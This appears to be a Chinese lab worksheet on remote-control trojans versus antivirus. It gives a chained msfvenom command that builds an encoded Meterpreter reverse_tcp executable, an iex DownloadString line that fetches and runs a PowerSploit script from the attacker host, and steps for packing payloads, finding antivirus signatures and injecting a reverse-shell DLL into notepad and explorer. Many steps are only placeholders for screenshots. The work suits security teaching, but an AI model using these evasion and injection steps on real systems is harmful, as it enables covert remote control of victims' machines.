目录
步骤七:测试payload.exe、payload02.exe和payload03.exe能不能正常连接到主控端
编辑步骤三:在靶机(或其它虚拟机)中访问PowerSploit
步骤四:PowerSploit功能一:检测被控端的特征码(使用AntivirusBypass)
步骤五:PowerSploit功能二:实现将DLL注入进程(使用CodeExecution)
第6章 远程控制
一、引言
在当今数字化时代,远程控制技术已经成为了人们日常生活和工作中不可或缺的一部分。通过远程控制技术,我们可以在任何时间、任何地点对远程设备进行操作和管理,极大地提高了工作效率和生活便利性。本文将对远程控制技术进行介绍,包括其定义、工作原理、应用场景以及安全性等方面。
二、远程控制技术的定义
远程控制技术是指通过网络等通信手段,对远程设备进行操作和管理的技术。远程控制技术可以实现对远程设备的监控、控制、维护和管理等功能,使得用户可以在不同的地点对远程设备进行操作和管理。
三、远程控制技术的安全性
远程控制技术的安全性是非常重要的,因为远程控制技术可能会导致远程设备的信息泄露和被恶意控制。为了保障远程控制技术的安全性
四、远程控制技术的发展
远程控制技术可以让用户通过网络对远程计算机进行操作和管理,这种技术在远程办公、远程维护和远程教育等领域得到了广泛的应用。然而,远程控制技术也存在着一些安全风险,例如∗控端可能会∗黑客利用来窃取敏感信息或进行其他恶意∗作。
五、杀毒软件的作用
为了应对这些安全风险,杀毒软件应运而生。杀毒软件可以检测和清除计算机中的病毒、木马和其他恶意软件,从而保护计算机的安全。此外,杀毒软件还可以实时监控计算机的网络活动,防止黑客通过网络攻击计算机。
六、远程控制被控端与杀毒软件的博弈
然而,远程控制被控端和杀毒软件之间也存在着一些博弈。一方面,远程控制被控端需要与杀毒软件进行协同工作,以确保被控端的安全。另一方面,杀毒软件也需要对远程控制被控端进行检测和防御,以防止被控端被黑客利用。 在这种情况下,远程控制被控端和杀毒软件需要不断地进行技术创新和升级,以应对不断变化的安全威胁。例如,远程控制被控端可以采用更加安全的加密技术,以防止黑客窃取被控端的敏感信息。杀毒软件也可以采用更加先进的检测技术,以更好地识别和清除恶意软件。
6.6 远程控制被控端与杀毒软件的博弈:
在远程控制过程中,被控端需要与远程控制服务器建立连接,发送和接收控制指令和数据。然而,杀毒软件可能会将远程控制软件误认为恶意软件,进行拦截和清除,从而影响远程控制的效果。为了避免这种情况,远程控制软件通常会采用一些技术手段,如加密通信、数字签名、白名单等,来证明自己的合法性和安全性,从而获得杀毒软件的信任。
1、杀毒软件主要使用以下3种技术:
1)基于文件扫描的反病毒技术
2)基本内存扫描的反病毒技术
3)基于行为监控的反病毒技术
2、黑客主要使用的免杀手段:
1)修改特征码
2)添加花指令
3)程序加密(加壳)
6.6.1 msfvenom提供的免杀方法
步骤一:生成一个普通的payload
(输入命令、结果截图并进行必要说明)
步骤二 :到安装了火绒杀毒软件的虚拟机下载攻击载荷。
(下载被控端,火绒杀毒软件是否弹出警告?)
(输入命令、结果截图并进行必要说明)
步骤三:生成一个免杀的payload
- 查看msfvenom中可用的编码方式
2、使用评级为low的编码方式/x86/nonalpha生成一个免杀的payload
(执行2次,2次生成的Shellcode相同吗?)
3、使用评级为excellent的编码方式生成一个免杀的payload
(1)执行第1次(采用默认的1次编码):
(2)执行第2次(采用默认的1次编码):
(结果:执行2次,2次生成的Shellcode相同吗?)
(3)执行第3次(使用多次编码、多重编码):
(上述输入命令、结果截图并进行必要说明)
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.142.133 lport=6666 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o /var/www/payload2.exe\
步骤四:到安装了火绒杀毒软件的虚拟机下载攻击载荷。
(下载被控端,火绒杀毒软件是否弹出警告?)
(输入命令、结果截图并进行必要说明)
步骤五:对上述生成的免杀payload加壳
1、对payload02.exe加壳
2、将payload02.exe复制为payload03exe
(输入命令、结果截图并进行必要说明)
步骤六:到安装了火绒杀毒软件的虚拟机下载攻击载荷。
(下载被控端,火绒杀毒软件是否弹出警告?)
(输入命令、结果截图并进行必要说明)
步骤七:测试payload.exe、payload02.exe和payload03.exe能不能正常连接到主控端
1、启动metasploit,进入metasploit(msf)的控制台。
2、使用handler模块,然后配置参数,发起攻击。
(1)使用handler模块
(2)设置攻击载荷为windows/meterpreter/reverse_tcp
(3)设置lhost为kali的IP
(4)设置lpost为5000
(5)发起攻击
(6)目标靶机分别运行payload02.exe和payload03.exe后,kali是否建立会话?
(上述输入命令、结果截图并进行必要说明)
6.6.2 PowerSploit提供的免杀方法
步骤一:在kali中启动PowerSploit
方法一:菜单
方法二:命令行
步骤二:将PowerSploit目录当作一个网站发布
(输入命令、结果截图并进行必要说明)
步骤三:在靶机(或其它虚拟机)中访问PowerSploit
在地址栏输入kali的IP
是否能打开由python启动的http服务?
(输入命令、结果截图并进行必要说明)
python -m http.server 8888
步骤四:PowerSploit功能一:检测被控端的特征码(使用AntivirusBypass)
方法:将程序拆分成n个部分,分别使用杀毒软件对这n个文件进行检查;找出报毒部分反复执行拆分操作,直到发现特征码所在位置。
1、启动PowerSploit的方法:开始/搜索程序和文件(输入:PowerShell,选择Windows PowerShell)
(结果截图!)
2、下载脚本文件Find-AVSignature.psl:
输入命令:
iex(New-object Net.WebClient).DownloadString("http://192.168.142.133:8888/AntivirusBypass/Find-AVSignature.ps1")
注:需要在括号中输入脚本所在目录!
(结果截图!)
- 使用脚本文件Find-AVSignature.psl查找攻击载荷的特征码
(1)使用脚本文件Find-AVSignature.psl将测试文件(位于桌面的payload.exe)分解成多个小文件,保存到桌面的tmp文件夹中:
注:先退出火绒!
结果:生成几个小文件。
(2)选中所有文件,使用火绒进行杀毒,找到报毒的文件是哪些?
(输入命令、结果截图并进行必要说明)
(3)对报毒的文件重复上述分解、查毒过程,直到找到特征码所在的位置。
注:每深入一次分解,分解小文件的大小要逐级降低,如改为:-interval 1000、-interval 100。
步骤五:PowerSploit功能二:实现将DLL注入进程(使用CodeExecution)
提供了4个脚本:
Invoke-DllInjection.psl:用于将DLL文件注入到一个进程。
Invoke-ReflectivePEInjection.psl Invoke-Shellcode.psl Invoke-WmiCommand.psl。
例:生成一个DLL类型的反向被控端,注入进程。
1、生成一个DLL类型的反向被控端
(1)查看可用于windows系统的dll类型的反向控制攻击载荷
由于目标靶机是64位系统,所以需要使用64位的攻击载荷来生成dll。
(输入命令、结果截图并进行必要说明)
(2)生成dll文件payload01.dll
(输入命令、结果截图并进行必要说明)
2、生成对应的主控端
(1)启动metasploit,进入metasploit(msf)的控制台。
(2)使用handler模块,然后配置参数。
I:使用handler模块
II:设置攻击载荷为windows/x64/meterpreter/reverse_tcp
III:设置lhost为kali的IP
IV:设置lpost为5000
V:发起攻击(等待目标靶机64位win7上线)
(上述输入命令、结果截图并进行必要说明)
3、在64位win7系统中下载payload01.dll
(1)在64位win7中下载脚本Invoke-DllInjection.ps1
(2)下载payload01.dll到桌面。
注:先退出火绒,再下载。否则会被火绒清除。
下载是否成功?
(上述输入命令或操作过程、结果截图并进行必要说明)
4、将payload01.dll注入到进程中
(1)调出进程编号选项
(上述输入命令或操作过程、结果截图并进行必要说明)
(2)注入到“记事本”进程中
I:启动记事本,看到记事本进程及其PID是多少?
(上述输入命令或操作过程、结果截图并进行必要说明)
II:注入进程:
完成注入!
(上述输入命令或操作过程、结果截图并进行必要说明)
5、实现远程控制
(1)kali中是否建立会话?
(上述输入命令或操作过程、结果截图并进行必要说明)
(2)执行一些命令:查看当前进程号、用户id、当前目录、列现当前目录下所有文件等。
注意:程序被注入后,可能会出现工作异常的情况,所以不要注入到系统进程里,否则会引起程序崩溃。记事本是否已经崩溃?会话还在吗?
(上述输入命令或操作过程、结果截图并进行必要说明)
(3)靶机中查看到这个kali建立的会话进程
(上述输入命令或操作过程、结果截图并进行必要说明)
6、在靶机中结束kali建立的会话进程,kali打开的会话是否关闭?
(1)在靶机中结束kali建立的会话进程
(结果截图并进行必要说明)
(2)Kali中打开的会话是否关闭?
(上述输入命令或操作过程、结果截图并进行必要说明)
7、这次生成的是64位的攻击载荷,对64位的进程有效,那么对32位的进程有否有效?
请尝试注入32位的进程!
(上述输入命令或操作过程、结果截图并进行必要说明)
8、注入到资源管理器。
(1)查看资源管理器的进程PID号
(2)执行注入命令
查看到kali是否建立会话?
(3)查看到64位win7系统的资源管理器是否崩溃?
(上述输入命令或操作过程、结果截图并进行必要说明)
总结
远程控制被控端与杀毒软件的博弈是一个长期的过程。在这个过程中,我们需要不断地进行技术创新和升级,以应对不断变化的安全威胁。只有这样,我们才能确保计算机的安全和稳定。